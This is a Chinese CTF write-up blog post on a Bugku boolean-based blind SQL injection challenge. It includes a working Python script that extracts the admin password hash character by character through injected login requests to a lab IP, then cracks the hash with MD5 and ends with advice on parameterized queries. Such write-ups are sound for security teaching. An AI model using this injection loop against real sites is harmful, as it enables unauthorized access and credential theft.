bugku基于布尔的SQL盲注

在这里插入图片描述
解题思路:我用用户名admin,密码123456,提示密码错误
我用用户名admina,密码123456,提示用户名错误,说明用户名是admin
我的字典sql盲注无法破解密码,于是我在网上找了一个大佬写的pycharm脚本(记得安装requests库和改url)

import requests
import time

url = "http://114.67.246.176:13918"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE'
}
with requests.session() as s:
    database = "passwd:"
    s.keep_alive = False
    s.adapters.DEFAULT_RETRIES = 5
    for i in range(1, 32):
        for j in range(48, 128):
            sql = 'admi\'or((ascii(substr((select(password))from({0})))-{1}))--\''.format(i, j)

            data = {'username': sql, 'password': "123"}
            try:
                res = s.post(url, data=data, timeout=5, headers=headers)
            except:
                time.sleep(2)
                res = s.post(url, data=data, timeout=5, headers=headers)
            if 'username does not exist' in res.text:
                database += chr(j)
                print(database)
                break
            res.close()

破解得到passwd:4dcc88f8f1bc05e7c2ad1a60288481a
在这里插入图片描述
将4dcc88f8f1bc05e7c2ad1a60288481a进行md5解密得到
在这里插入图片描述
得到密码bugctf,于是用用户名admin,密码bugctf登入得到flag
在这里插入图片描述
最后附上md5免费在线解密网址:
https://www.somd5.com/

基于布尔盲注是一种常见的SQL注入攻击技术,可以通过构造特定的SQL查询语句来获取数据库中的敏感信息。在这种攻击中,攻击者通过向受攻击的应用程序中输入恶意的SQL代码来触发漏洞。 在基于布尔盲注中,攻击者利用应用程序返回的不同响应来判断SQL查询结果是否为真或假。攻击者可以通过构造一系列的布尔查询来逐渐推断出数据库中的敏感信息。例如,攻击者可以通过构造以下查询语句来判断数据库中是否存在用户名为“admin”的记录: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND 1=1 ``` 如果应用程序返回的响应为真,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password = 'password' AND 1=1 ``` 如果应用程序返回的响应为假,那么攻击者可以通过构造以下查询语句来判断密码是否为“password”: ``` SELECT COUNT(*) FROM users WHERE username = 'admin' AND password <> 'password' AND 1=1 ``` 通过不断尝试构造不同的查询语句,并观察应用程序的响应,攻击者可以最终推断出数据库中的敏感信息。 为了防止基于布尔盲注攻击,应用程序应该对用户输入进行充分的验证和过滤,并使用参数化的SQL查询语句来避免SQL注入攻击。此外,应用程序还应该限制数据库用户的权限,以最小化攻击者获取敏感信息的可能性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

g1ory.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值